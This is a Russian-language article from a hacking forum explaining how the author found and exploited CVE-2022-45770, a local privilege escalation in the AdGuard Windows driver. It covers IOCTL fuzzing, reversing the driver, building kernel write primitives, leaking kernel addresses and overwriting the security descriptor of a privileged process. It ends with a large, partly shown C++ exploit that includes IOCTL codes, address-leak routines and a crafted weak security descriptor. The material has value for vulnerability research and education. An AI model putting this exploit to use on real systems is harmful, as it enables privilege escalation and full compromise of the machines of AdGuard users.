• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Sad guard. Ищем и эксплуатируем уязвимость в драйвере AdGuard для Windows

weaver

31 c0 bb ea 1b e6 77 66 b8 88 13 50 ff d3
Забанен
Регистрация
19.12.2018
Сообщения
3 301
Решения
11
Реакции
4 622
Депозит
0.0001
Пожалуйста, обратите внимание, что пользователь заблокирован
В этой статье я расскажу, как нашел бинарный баг в драйвере AdGuard. Уязвимость получила номер CVE-2022-45770. Я покажу, как изучал блокировщик рекламы и раскрутил уязвимость до локального повышения привилегий. По дороге поизучаем низкоуровневое устройство Windows.

INFO
За консультацию в процессе исследования спасибо @Denis_Skvortcov. В его блоге крутые статьи на тему эксплуатации уязвимостей в антивирусах для Windows. Сейчас взгляд Дениса пал на Avast.

Я мало что понимал в виндовых драйверах до того, как прочитал книгу Павла Йосифовича Windows Kernel Programming. В книге все начинается с простого драйвера в духе Hello World и заканчивается сложным драйвером‑фильтром. Также рассказывается про отладку драйверов в виртуальной машине с WinDbg на хосте и про типичные ошибки программирования драйверов. После прочтения, конечно же, хочется применить знания на практике и разобрать какой‑нибудь драйвер. Может, нам повезет и мы найдем уязвимость?

Статья рассчитана на тех, кто немного разбирается в реверс‑инжиниринге сишного кода. В ней не будет подробного разбора процесса реверса. За более детальным описанием реверса обратись к моей первой статье «Разборки на куче. Эксплуатируем хип уязвимого SOAP-сервера на Linux».

AdGuard — классный блокировщик рекламы, поддерживающий шифрованный DNS (DoH, DoT, DoQ). Чтобы блокировать рекламные запросы всех приложений, а не только браузера, используется WDM-драйвер. Давай установим AdGuard на Windows 10 в виртуальной машине и начнем его изучать.

Так получилось, что я установил сборку для x86, поэтому исследовать мы будем 32-битный драйвер.

Первым делом нужно убедиться, что драйвер находится на поверхности атаки. То есть непривилегированное приложение может открыть драйвер для взаимодействия — чтения, записи и отправки IOCTL. В этом нам поможет пара строк на PowerShell с библиотекой NtObjectManager за авторством Джеймса Форшоу.

Для определения артефактов (файлов, ключей реестра) исследуемого продукта прекрасно подходит утилита от Microsoft Attack Surface Analyzer. С ее помощью нужно собрать два снапшота ОС: до установки исследуемой программы и после, а также создать дифф, который покажет установленные артефакты. Таким образом можно определить путь девайса в Object-Manager:

get-ntfile-error.png


Драйвер открыть не получилось. Ошибка 0xC000010 STATUS_INVALID_DEVICE_REQUEST, и это не 0xC0000022 ACCESS_DENIED! Значит, доступ к девайсу драйвера у нас есть, но драйверу что‑то не понравилось в нашем запросе. Такое странное поведение — отличный повод приступить к реверсу. Давай откроем драйвер в IDA и посмотрим на несколько важных мест.

Первое место — инициализирующий код драйвера в функции DriverEntry.

iocreatedevice.png


Функция IoCreateDevice() потенциально небезопасна, так как не позволяет явно указать DACL. Таким образом, DACL берется либо из .INF-файла, либо из DACL-треда или процесса, который его создает. Также отметим, что девайс создается с неэксклюзивным доступом (EXCLUSIVE_FALSE).

Рекомендуется использовать IoCreateDeviceSecure(), куда можно явно передать DACL.

Аргумент FILE_DEVICE_SECURE_OPEN присутствует. Если бы его не было, то было бы можно обойти строгий DACL, открыв произвольный файл на этом девайсе. Смотрим дальше.

Флаг DO_DIRECT_IO говорит о том, что rmode-буферы для вызовов WriteFile() и ReadFile() будут мапиться в пространство ядра и у нас есть возможности для атаки TOCTOU в случае double fetch в коде драйвера. Если бы на месте этого флага был METHOD_NEITHER, было бы еще интереснее.

Здесь тоже все нормально, двигаемся дальше.

Второе место — функция — обработчик открытия девайса драйвера. Найти ее просто. В коде инициализации драйвера необходимо явно назначить обработчики функций OpenFile(), WriteFile() и ReadFile().

adgdriverdispatch.png


На скриншотах IDA ты видишь названия переменных и функций, придуманных мной во время реверса. Конечно же, символа от бинаря нам никто не даст.

Флаг DO_DIRECT_IO влияет на метод передачи данных из юзермода в ядро только для FileRead() и FileWrite(). Для DeviceIoControl() метод зашит в код IOCTL. Для быстрого просмотра метода можешь использовать ресурс osronline.com.

osronline.png


Без труда находим обработчик открытия девайса.

adg-open.png


Здесь реализован кастомный эксклюзивный доступ к драйверу — PID открывшего его процесса сохраняется в глобальную переменную hasOwner. Следующая попытка открыть драйвер возвращает ошибку STATUS_INVALID_REQUEST.

И что это за PID? Кто открыл драйвер раньше всех? Это сервисный процесс AdguardSvc.exe. Можем ли мы на него воздействовать? На удивление — да. Убить его через Terminate() нам не хватит прав, но у UI-процесса AdguardUI.exe есть кнопка «Выключить защиту».

adgui-shutdown.png


Когда процесс AdguardSvc.exe закроется, снова попробуем открыть девайс драйвера.

get-ntfile-ok.png


Получаем права на чтение, запись и отправку IOCTL от непривилегированного пользователя. Отлично! Поверхность атаки определена.

На данном этапе исследования можно отметить две ошибки.

Исследование можно было заканчивать после неудачной попытки открыть девайс драйвера, но мы внимательно отнеслись к коду ошибки и получили первую зацепку.

Кстати, проверить DACL девайса ты можешь и с помощью такой команды:

Либо:

В дизассемблерном листинге мы заметили большое количество обработчиков IOCTL. Что можно сделать вместо того, чтобы реверсить каждый?

Фаззинг драйверов несколько сложнее фаззинга юзермодных приложений, потому что работа происходит не с виртуальным пространством единственного процесса, а со всей ОС целиком. Отсюда усложнение инфраструктуры — установка агента в виртуальную машину и запуск ее в QEMU/KVM, как, например, в фаззере kAFL.

Но давай не будем плодить сущности сверх необходимого и найдем что‑нибудь попроще, а если не сработает простой вариант, то уже тогда начнем фаршировать инфраструктуру агентами и виртуализацией. Этот простой вариант — фаззер Dynamic Ioctl Brute-Forcer (DIBF). Он просто отправляет рандомные IOCTL из юзермода в драйвер. Без хитрых мутаций, без сбора покрытия, без сохранения стектрейса.

Воспользуемся двумя фичами Windows, которые улучшат качество фаззинга.

Во‑первых, включим дополнительные проверки для исследуемого драйвера через утилиту Driver Verifier. Это нужно, чтобы повысить вероятность нахождения бага.

verifier.png


Во‑вторых, попросим Windows собирать более полный дамп памяти в случае падения с BSOD. Это поможет нам в анализе крашей.

setup-and-recovery.png


DIBF запускаем вот такой командой:

Без аргументов DIBF брутфорсит коды IOCTL и так же брутфорсом определяет размеры входных буферов для IOCTL. В результате первого запуска создается файл dibf-bf-results.txt.

Вторым запуском DIBF читает из файла IOCTL, и начинается фаззинг. Ждем пятнадцать минут и видим результат. Это тот редкий случай, когда BSOD вызывает радость! Падение произошло в исследуемом драйвере.

bsod.png


Спасибо Оккаму и его бритве за фаззинг без сверхнеобходимых сущностей. Проанализируем результаты. Откроем в WinDbg файл MEMORY.DMP, который Windows собрала при падении, выполним команду analyze -v и посмотрим на стектрейс.

crashdump.png


В WinDbg имеем снапшот оперативной памяти на момент падения. Вытаскиваем из него базовый адрес модуля adgnetworkwfpdrv.sys и уже точечно начинаем смотреть, что же произошло.

Вот функция, в которой случилось падение.

crash-disassm-code.png


Видно, что происходит обход какого‑то списка в цикле while. Чтобы не растягивать статью, я сразу расскажу про результаты реверса и покажу данные, с которыми работает драйвер.

Итак, драйвер создает paged pool область памяти с тегом FLT3. Там содержится список указателей на хеды singly-linked-списков.

driver-reverse-init.png


В глобальной переменной g_AdgItemsCounter хранится количество структур AdgItem (о них позже). Нам доступен IOCTL, который добавляет элемент в список, — ADG_INSERT_ITEM.

driver-reverse-insert-1.png


В AdgItem.index записывается текущее значение g_AdgItemsCounter, оно же и возвращается в ответе.

Размер списка — 0xBCB. Если добавить в него элемент номер 0xBCC или больше, то в список они будут добавляться как бы следующим уровнем.

driver-reverse-insert-many.png


Похоже, что здесь используется какой‑то хитрый многоуровневый список. Я так и не понял, для чего это нужно. Если тебе знакома такая организация данных, поделись в комментах.

Также нам доступен IOCTL-вызов ADG_EDIT_ITEM, который позволяет редактировать AdgItem по индексу. Контролируемые данные выделены красным.

driver-reverse-edit.png


Мы контролируем адрес следующего элемента в списке! Важно также отметить, что редактирование данных выполняется после успешного сравнения на равенство переданного индекса c adgItem.index.

DIBF вызвал ADG_INSERT_ITEM много‑много раз, затем через ADG_EDIT_ITEM повредил один из элементов списка. При следующем вызове ADG_EDIT_ITEM совершается обход этого списка в цикле while до момента, когда будет найден нужный элемент. Еще раз приведу листинг функции, в которой произошел BSOD, но уже с пояснениями.

adggetbyindexfrompool-explained.png


Соответственно, в определенный момент при разыменовании adgItem.index переходим по коррапченному указателю.

driver-reverse-dibf-bsod.png


Через кросс‑референсы на функцию AdgGetByIndexFromPool() находим еще один нужный IOCTL ADG_UNLINK_ITEM. Он удаляет элемент из списка singly-linked по индексу.

driver-reverse-unlink.png


Поскольку мы контролируем AdgItem.pNextItem, это позволяет писать наши данные прямо в область FLT3 по одному DWORD.

Используя разные комбинации найденных IOCTL, мы получаем два мощных примитива. Оба основаны на коррапте singly-linked-списка.

Примитив первый. Комбинация ADG_INSERT_ITEM, ADG_EDIT_ITEM, ADG_UNLINK_ITEM позволяет писать последовательность байтов в пул FLT3. Это дает возможность крафтить фейковые структуры в памяти ядра и обходить SMAP.

primitive-1.png


Однако в таком примитиве мало толку, если мы не знаем адрес записываемых данных. KASLR располагает FLT3 по случайному адресу.

Примитив второй. Дополняем предыдущую комбинацию. В IOCTL ADG_EDIT_ITEM передадим валидные ядерные адреса и в цепочку IOCTL добавим еще один вызов ADG_EDIT_ITEM — мощнейший примитив arbitrary write 16 bytes, то есть «произвольно запиши 16 байт в память ядра».

primitive-2.png


Обрати внимание, что, например, первые пять DWORD в FLT3 мы можем использовать для создания структур, а шестой — для нашего примитива произвольной записи.

На этом этапе исследования вырисовывается возможный эксплоит. Используя эти примитивы, мы можем создавать свои объекты в ядре.

Но для полноценного использования примитивов нужно решить три критические проблемы.

Бинарные митигации Windows усложняют эксплуатацию. Это, конечно, классно, что мы можем заполнять FLT3 контролируемыми данными, но этого мало. Если мы хотим скрафтить там какой‑нибудь объект ядра, нужно знать адрес, чтобы им воспользоваться. Также нам надо знать адрес какого‑нибудь объекта ядра, чтобы перелинковать список на него.

Обратимся к репозиторию windows kernel address leaks. Хоть в последний раз туда коммитили в 2017 году, техники до сих пор рабочие.

windows-kernel-address-leaks.png

Большинство техник основаны на вызове вот этой недокументированный функции из ntdll:

Один из вызовов сможет слить адреса всех невыгружаемых пулов (non-paged pool), где мы без труда отыщем тег FLT3. Другой вызов сливает адреса EPROCESS’ов, токенов и так далее. Но прежде чем выбрать ядерную структуру, надо обсудить проблему номер три.

Несмотря на то что мы исследуем 32-битный драйвер, в структуре adgItem индекс хранится в двух DWORD. А значение g_AdgItemsCounter, которым он инициализируется, хранится в одном DWORD. Следовательно, второй DWORD всегда будет равен нулю.

adgitem-mem-layout.png


Предположу, что это связано с использованием инструкции _aullrem для деления с остатком, которая работает с 64-битными целыми в 32-битных системах.

0xBCC — это adgItem.index. За ним всегда будет следовать NULL DWORD (выделены красным). Если удастся перелинковать singly-linked-список на какой‑нибудь объект ядра с паттерном «предсказуемый DWORD, NULL DWORD», то сможем пройти проверку и записать следующие 16 байт контролируемыми данными (выделены черным на рисунке выше).

load.png


Почему первый DWORD должен быть предсказуем (то есть мы должны знать его из юзермода заранее)? Нам надо передать в IOCTL ADG_EDIT_ITEM индекс элемента, который будет сравниваться с этим DWORD. Если проверка на равенство не прошла, то код драйвера побежит дальше по singly-linked-списку, и ОС выпадет в BSOD, аналогично тому как это было во время фаззинга.

Итак, подытожим, какой объект ядра нам нужен для произвольной записи:

Ключ, позволяющий записывать 16 байт в ядре, у нас есть, осталось найти замок, к которому этот ключ подойдет.

Дальше методично изучаем репозиторий Windows Kernel Address Leaks, смотрим, какие структуры ядра протекают, и ищем что‑нибудь подходящее под критерии выше.

Можно ликануть адрес структуры EPROCESS, а значит, можно вычислить адрес OBJECT_HEADER:

Давай взглянем на структуру OBJECT_HEADER сервисного процесса AdguardSvc.exe.

Для эксплуатации подойдет OBJECT_HEADER любого привилегированного процесса, просто я выбрал процесс сервиса этого же вендора.

sd.png


Красным выделена память, подходящая под паттерн, — предсказуемый DWORD равен шести, за ним следует NULL DWORD. Шесть — это количество открытых хендлов для объекта процесса OBJECT_HEADER.HandleCount.

Эксплоит получается не самый надежный, потому что мы не контролируем тех, кто открывает хендл. Если, например, антивирус решит открыть процесс для сканирования памяти, то это значение станет равным семи и эксплоит уронит ОС в BSOD. Но мы не пишем эксплоит на продажу, а изучаем устройство Windows, поэтому слегка пожертвуем надежностью.

Паттерн мы нашли, значит, можно будет перезаписать следующие 16 байт, а среди них — указатель на дескриптор безопасности (Security Deor)! Это указатель типа EX_FAST_REF на структуру, которая содержит DACL и описывает права доступа к объекту.

Подробнее про указатель типа EX_FAST_REF на сайте CodeMachine

sd-and-prochacker.png


Обрати внимание на наличие флагов SE_DACL_PRESENT и SE_SACL_PRESENT. Их присутствие значит, что DACL и SACL заданы явно. DACL содержит два ACE — высокопривилегированные пользователи NT SYSTEM и члены группы администраторов могут открыть хендл процесса для разных операций.

C SACL все не так очевидно. System Access Control List (SACL) содержит не только атрибуты логирования доступа к объекту, но и его уровень целостности (integrity level), очень важное поле, когда мы говорим о защите объектов в Windows. В нашем случае это высокий уровень целостности ML_SYSTEM.

Что будет, если мы выключим эти флаги? DACL и SACL станут NULL.

edit-sd.png


А что значит NULL-указатель в этих полях для дескриптора безопасности? Обратимся к MSDN. Там написано, что DACL, равный null, дает полный доступ любому пользователю, который его запросит. Звучит многообещающе! Нулевой SACL значит, что «объект будет обрабатываться как имеющий среднюю целостность». Обычный пользователь как раз имеет средний уровень целостности.

Говоря простым языком, привилегированный объект с DACL/SACL, равным NULL, может быть открыт простым пользователем. Получаем локальное повышение привилегий.

Это легко проверить. Откроем AdguardSvc.exe после выключения SE_DACL_PRESENT и SE_SACL_PRESENT и попробуем инжектнуть в процесс какую‑нибудь DLL. Успех.

dll-inject-poc.png


Грубо говоря, при открытии объекта субъектом компонент Windows Security Reference Monitor сравнивает SID в токене субъекта (пользователя) с ACE в дескрипторе безопасности объекта. Дескрипторы безопасности уже были в моей статье, а про токен ты можешь почитать в статье «Изучаем возможности WinAPI для пентестера».

Это значит, что первым примитивом мы можем скрафтить слабый Security Deor в FLT3-области памяти и вторым примитивом переписать указатель на него.

Однако примитивом мы переписываем 16 байт, из них указатель занимает только четыре. Давай еще раз взглянем на OBJECT_HEADER и посмотрим, что находится под остальными 12 байтами.

type-ind-not-ok.png


Оставшиеся 12 байт из 16 тоже надо проверить. ObjectCreateInfo можно переписать нулями, и BSOD’а не будет. Проверено экспериментально. Про дескриптор безопасности мы уже поговорили. EPROECSS.Header.Lock имеет константное значение 3, спокойно перезаписываем тем же значением. С флагами 0x88 та же история. Остался один байт 0xC4 OBJECT_HEADER.TypeIndex.

В Windows 10 OBJECT_HEADER.TypeIndex — это указатель в таблице nt!ObTypeIndexTable, поксоренный с nt!ObHeaderCookie. Значение nt!ObHeaderCookie нам, юзермодным эксплуататорам, неизвестно. Значит, мы не знаем, чем его перезаписывать, используя примитив.

A Light on Windows 10’s “OBJECT_HEADER->TypeIndex” — хорошая статья на тему TypeIndex в разных версиях ОС.

Таким образом Windows предотвращает атаку через использование функции ObfDereferenceObject(). Повредив TypeIndex, можно перехватить управление в ядре. Более подробно читай в статье CVE-2018-8611 Exploiting Windows Аарона Адамса.

Ломает ли это эксплуатацию? Нет. Во‑первых, коррапт OBJECT_HEADER.TypeIndex не вываливает Windows в BSOD. Мы всего лишь получим ошибку при вызове CreateProcess() из юзермода.

Проведем простой эксперимент: откроем notepad.exe, в WinDbg повредим его TypeIndex и попробуем открыть процесс.

type-index-corrupt-and-test.png


Теперь восстановим значение и попробуем сделать это снова.

type-index-restore-and-test.png


TypeIndex — это всего лишь байт, значит, его можно быстро сбрутить — используем примитив arbitrary write 16 bytes с новым OBJECT_HEADER.TypeIndex (но с тем же самым дескриптором безопасности) и пробуем вызвать следующую функцию:

Когда подберем нужное значение, нам вернется хендл процесса. После этого сервисный процесс становится полностью подконтрольным, и мы можем инжектиться в него как угодно. Я буду делать это классической комбинацией WriteProcessMemory() + CreateRemoteThread().

Цепочка атаки готова. Пройдемся по его шагам еще раз.

Шаг 0. Начальное состояние. Пул FLT3 пустой. Сервисный процесс защищен строгим дескриптором безопасности.


stage-0.png


Шаг 1. Ликаем адрес в пространстве ядра FLT3 и EPROCESS AdguardSvc.exe.

stage-1.png


Важное примечание: SYSTEM_HANDLE_INFORMATION сливает адреса EPROCESS, и по одному адресу не понять, какому юзермодному процессу он принадлежит. Поэтому здесь используем эвристику:

Едем дальше.

Шаг 2. Через примитив записи в FLT3 заносим туда слабый дескриптор безопасности (DACL/SACL NULL). Поскольку адрес FLT3 нам известен из предыдущего шага, мы знаем, по какому адресу ядра произошла запись.

stage-2.png


Важное примечание: Chunk в FLT3 — это четыре DWORD’а: NULL, 8, NULL, NULL}. Их нужно поместить перед дескриптором безопасности, чтобы не получить BSOD с INVALID_REF_COUNT. Предполагаю, что это служебная инфа хип‑менеджера.

Шаг 3. С помощью примитива arbitrary write 16 bytes перезаписываем указатель на дескриптор безопасности с исходного на слабый.

stage-3.png


Шаг 4. Используя этот же примитив, брутфорсим OBJECT_HEADER.TypeIndex, пока не получим хендл сервисного процесса.

stage-4.png


Шаг 5. Инжектимся в сервисный процесс. Таким образом мы повысили привилегии в системе. Код эксплоита я опубликовал на своем GitHub.

sddefault.jpg



Код эксплойта
C++:
#include <windows.h>
#include <vector>
#include <algorithm>
#include <iostream>
#include <iterator>
#include <set>
#include <tlhelp32.h>

#define MAXIMUM_FILENAME_LENGTH 255
#define TYPE_INDEX_PROCESS 7

#define ADG_DRIVER_NAME "\\\\.\\CtrlSM_Protected2adgnetworkwfpdrv"
#define IOCTL_ADG_INSERT_ITEM CTL_CODE(0x22, 0x69, METHOD_BUFFERED, FILE_ANY_ACCESS) // 0x2201A4
#define IOCTL_ADG_EDIT_ITEM CTL_CODE(0x22, 0x6d, METHOD_BUFFERED, FILE_ANY_ACCESS)   // 0x2201B4
#define IOCTL_ADG_UNLINK CTL_CODE(0x22, 0x6a, METHOD_BUFFERED, FILE_ANY_ACCESS)      // 0x2201A8

HANDLE g_AdgDriverHandle = INVALID_HANDLE_VALUE;
PVOID g_AdgFLT3Pool = NULL;
DWORD g_AdgFLT3ItemCounter = 0;
DWORD g_AdgSvcPID = 0;

BYTE g_FakeKernelStruct[] = {0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // Chunk required for not BSODing. May be part of heap manager structs
// Weak Security Descriptor with SACL/DACL NULL
0x01 , 0x00 , 0x00 , 0x88 , 0x6c , 0x00 , 0x00 , 0x00 , 0x7c , 0x00 , 0x00 , 0x00 , 0x14 , 0x00 , 0x00 , 0x00 , 0x30 , 0x00 , 0x00 , 0x00 , 0x02 , 0x00 , 0x1c , 0x00 , 0x01 , 0x00 , 0x00 , 0x00 , 0x11 , 0x00 , 0x14 , 0x00 , 0x03 , 0x00 , 0x00 , 0x00 , 0x01 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x10 , 0x00 , 0x40 , 0x00 , 0x00 , 0x02 , 0x00 , 0x3c , 0x00 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x14 , 0x00 , 0xff , 0xff , 0x1f , 0x00 , 0x01 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x05 , 0x12 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x18 , 0x00 , 0x11 , 0x14 , 0x12 , 0x00 , 0x01 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x05 , 0x20 , 0x00 , 0x00 , 0x00 , 0x20 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x01 , 0x02 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x05 , 0x20 , 0x00 , 0x00 , 0x00 , 0x20 , 0x02 , 0x00 , 0x00 , 0x01 , 0x01 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x05 , 0x12 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00 , 0x00};

struct IOCTL_MSG {
    DWORD index;
    DWORD nextItem;
    DWORD Unknown2;
    DWORD Unknown3;
    DWORD Unknown4;
};

typedef struct _SYSTEM_HANDLE
{
    PVOID Object;
    HANDLE UniqueProcessId;
    HANDLE HandleValue;
    ULONG GrantedAccess;
    USHORT CreatorBackTraceIndex;
    USHORT ObjectTypeIndex;
    ULONG HandleAttributes;
    ULONG Reserved;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
    ULONG_PTR HandleCount;
    ULONG_PTR Reserved;
    SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, *PSYSTEM_HANDLE_INFORMATION_EX;

typedef enum _SYSTEM_INFORMATION_CLASS {
    SystemExtendedHandleInformation = 64,
    SystemBigPoolInformation = 0x42
} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );

//from http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/bigpool_entry.htm
typedef struct _SYSTEM_BIGPOOL_ENTRY
{
    union {
        PVOID VirtualAddress;
        ULONG_PTR NonPaged : 1;
    };
    ULONG_PTR SizeInBytes;
    union {
        UCHAR Tag[4];
        ULONG TagUlong;
    };
} SYSTEM_BIGPOOL_ENTRY, *PSYSTEM_BIGPOOL_ENTRY;

//from http://www.geoffchappell.com/studies/windows/km/ntoskrnl/api/ex/sysinfo/bigpool.htm
typedef struct _SYSTEM_BIGPOOL_INFORMATION {
    ULONG Count;
    SYSTEM_BIGPOOL_ENTRY AllocatedInfo[ANYSIZE_ARRAY];
} SYSTEM_BIGPOOL_INFORMATION, *PSYSTEM_BIGPOOL_INFORMATION;


typedef NTSTATUS(WINAPI *PNtQuerySystemInformation)(
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
    __inout PVOID SystemInformation,
    __in ULONG SystemInformationLength,
    __out_opt PULONG ReturnLength
    );


/*
Query addresses of kernel EPROCESS structure of all processes in the system.
https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemHandleInformation/NtQuerySysInfo_SystemHandleInformation/NtQuerySysInfo_SystemHandleInformation.cpp
*/
std::set<PVOID> query_eprocess_set() {
    HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
    std::set<PVOID> eprocess_set;
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (query == NULL) {
        printf("[-] GetProcAddress() failed.\n");
        exit(1);
    }
    ULONG len = 20;
    NTSTATUS status = (NTSTATUS)0xc0000004;
    PSYSTEM_HANDLE_INFORMATION_EX pHandleInfo = NULL;
    do {
        len *= 2;
        pHandleInfo = (PSYSTEM_HANDLE_INFORMATION_EX)GlobalAlloc(GMEM_ZEROINIT, len);

        status = query(SystemExtendedHandleInformation, pHandleInfo, len, &len);

    } while (status == (NTSTATUS) 0xc0000004);
    if (status != (NTSTATUS)0x0) {
        printf("[-] NtQuerySystemInformation failed with error code 0x%X\n", status);
        exit(1);
    }
    for (int i = 0; i < pHandleInfo->HandleCount; i++) {
        PVOID object = pHandleInfo->Handles[i].Object;
        HANDLE handle = pHandleInfo->Handles[i].HandleValue;
        HANDLE pid = pHandleInfo->Handles[i].UniqueProcessId;
        if ((DWORD)pid == 4 && pHandleInfo->Handles[i].ObjectTypeIndex == TYPE_INDEX_PROCESS) {
                eprocess_set.insert(object);      
        }
    }
    return eprocess_set;
}

/*
Compare two sets, check that there is only one element in difference and return this element.
We will use this functions to compare two EPROCESSes sets and the difference will be EPROCESS of AdguardSvc.exe
*/
PVOID set_single_difference(std::set<PVOID> s1, std::set<PVOID> s2) {
    std::vector<PVOID> diff;
    std::set_difference(s2.begin(), s2.end(), s1.begin(), s1.end(), std::inserter(diff, diff.begin()));
    if (diff.size() != 1) {
        printf("[-] Can't unambigiosly define difference\n");
        exit(1);
    }
    return diff.at(0);
}
/*
Unprivieged user is able to start "Adguard Service".
*/
void start_adguard_service() {
    printf("[+] Turn on Adguard Service\n");
    int ret = system("sc start \"Adguard Service\" > nul");
    if (ret != 0) {
        printf("[-] Can't start AdguardSvc.exe\n");
        exit(1);
    }
}

/*
Leak kernel address of FLT3 pool
https://github.com/sam-b/windows_kernel_address_leaks/blob/master/NtQuerySysInfo_SystemBigPoolInformation/NtQuerySysInfo_SystemBigPoolInformation/NtQuerySysInfo_SystemBigPoolInformation.cpp
*/
PVOID query_adguard_FLT3_pool() {
    HMODULE ntdll = GetModuleHandle(TEXT("ntdll"));
    PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");
    if (query == NULL) {
        printf("[-] GetProcAddress() failed.\n");
        exit(1);
    }
    unsigned int len = sizeof(SYSTEM_BIGPOOL_INFORMATION);
    unsigned long out;
    PSYSTEM_BIGPOOL_INFORMATION info = NULL;
    NTSTATUS status = ERROR;
   

    do {
        len *= 2;
        info = (PSYSTEM_BIGPOOL_INFORMATION) GlobalAlloc(GMEM_ZEROINIT, len);
        status = query(SystemBigPoolInformation, info, len, &out);
    } while (status == (NTSTATUS)0xc0000004);

    if (!SUCCEEDED(status)) {
        printf("[-] NtQuerySystemInformation failed with error code 0x%X\n", status);
        exit(1);
    }

    DWORD lastFoundFLT3 = 0;
    for (unsigned int i = 0; i < info->Count; i++) {
        SYSTEM_BIGPOOL_ENTRY poolEntry = info->AllocatedInfo[i];
        if (!memcmp(poolEntry.Tag, "FLT3", 4)) {
            lastFoundFLT3 = ((DWORD)poolEntry.VirtualAddress - 1);
        }
    }
    if (lastFoundFLT3 == 0){
        printf("[-] Can't find FLT3 pool kernel address\n");
        exit(1);
    }
    return (PVOID) lastFoundFLT3;
}

void sendIOCTL(DWORD IOCTL, IOCTL_MSG* msg_in, IOCTL_MSG* msg_out) {
    memset(msg_out, 0, sizeof(IOCTL_MSG));
    DWORD bytes;
    if (!::DeviceIoControl(g_AdgDriverHandle, IOCTL, (PVOID)msg_in, sizeof(IOCTL_MSG), PVOID(msg_out), sizeof(IOCTL_MSG), &bytes, nullptr)){
        printf("DeviceIoControl failed: %X\n", GetLastError());
        exit(1);
    }
}

DWORD adg_insert_item(IOCTL_MSG msg_in) {
    IOCTL_MSG msg_out;
    sendIOCTL(IOCTL_ADG_INSERT_ITEM, &msg_in, &msg_out);
    return msg_out.index;
}

void adg_edit_item(DWORD item_index, DWORD new_val) {
    IOCTL_MSG msg_in, msg_out;
    msg_in.index = item_index;
    msg_in.nextItem = new_val;
    sendIOCTL(IOCTL_ADG_EDIT_ITEM, &msg_in, &msg_out);
}

void adg_unlink_item(DWORD item_index) {
    IOCTL_MSG msg_in, msg_out;
    msg_in.index = item_index;
    sendIOCTL(IOCTL_ADG_UNLINK, &msg_in, &msg_out);
}

/*
First primitive. Write continious byte array to the FLT3 pool
*/
PVOID write_to_FLT3(DWORD start_index, BYTE* src, DWORD size) {
    if (size % 4) {
        printf("[-] Byte array must be alligned by 4\n");
        exit(1);
    }

    IOCTL_MSG msg_in;
    memset(&msg_in, 0x31, sizeof(IOCTL_MSG));
    DWORD index = start_index;
    for (int i = 0; i < size; i += sizeof(DWORD)) {
        DWORD new_val = *(DWORD*)((DWORD)src + i);
        adg_edit_item(index, new_val);
        adg_unlink_item(index++);
    }
    return (PVOID) ((DWORD)g_AdgFLT3Pool + sizeof(DWORD) + start_index * sizeof(DWORD));
}

void init_globals() {
    g_AdgDriverHandle = CreateFile(ADG_DRIVER_NAME, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr);
    if (g_AdgDriverHandle == INVALID_HANDLE_VALUE){
        printf("[-] Error opening " ADG_DRIVER_NAME ". Maybe AdguardSvc.exe is running. Try to turn off protection from Adguard UI.");
        exit(1);
    }
    g_AdgFLT3Pool = query_adguard_FLT3_pool();

    // warm up FLT3 pool
    DWORD index;
    do {
        IOCTL_MSG msg;
        memset(&msg, 0x31, sizeof(IOCTL_MSG));
        index = adg_insert_item(msg);
    }while(index != 0xBCB);
}

DWORD adguardsvc_pid() {
    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(snapshot, &entry) == TRUE)
    {
        while (Process32Next(snapshot, &entry) == TRUE)
        {
            if (stricmp(entry.szExeFile, "AdguardSvc.exe") == 0)
            {
                //printf("[+] AdguardSvc.exe pid %d\n", entry.th32ProcessID);
                return entry.th32ProcessID;
            }
        }
    }
    printf("[-] AdguardSvc.exe not found\n");
    exit(1);
}


int main() {
    init_globals();
    printf("[=====] Stage I. Bypass KASLR\n");
    printf("[+] Query EPROCESSes first time\n");
    std::set<PVOID> firstRun = query_eprocess_set();

    start_adguard_service();
   
    printf("[+] Query EPROCESSes second time\n");
    std::set<PVOID> secondRun = query_eprocess_set();

    PVOID pAdgsvcEprocess = set_single_difference(firstRun, secondRun);
    printf("[+] AdguardSvc.exe EPROCESS kernel address: 0x%p\n", pAdgsvcEprocess);
    printf("[+] FLT3 Paged pool address: 0x%p\n", g_AdgFLT3Pool);
   
    getchar();
    printf("[=====] Stage II. Write Weak Security Descriptor to the FLT3 Paged Pool\n");
   
   
    PVOID dst = write_to_FLT3(0x1f, g_FakeKernelStruct, sizeof(g_FakeKernelStruct)); // Use primitive 1 - write to FLT3 pool
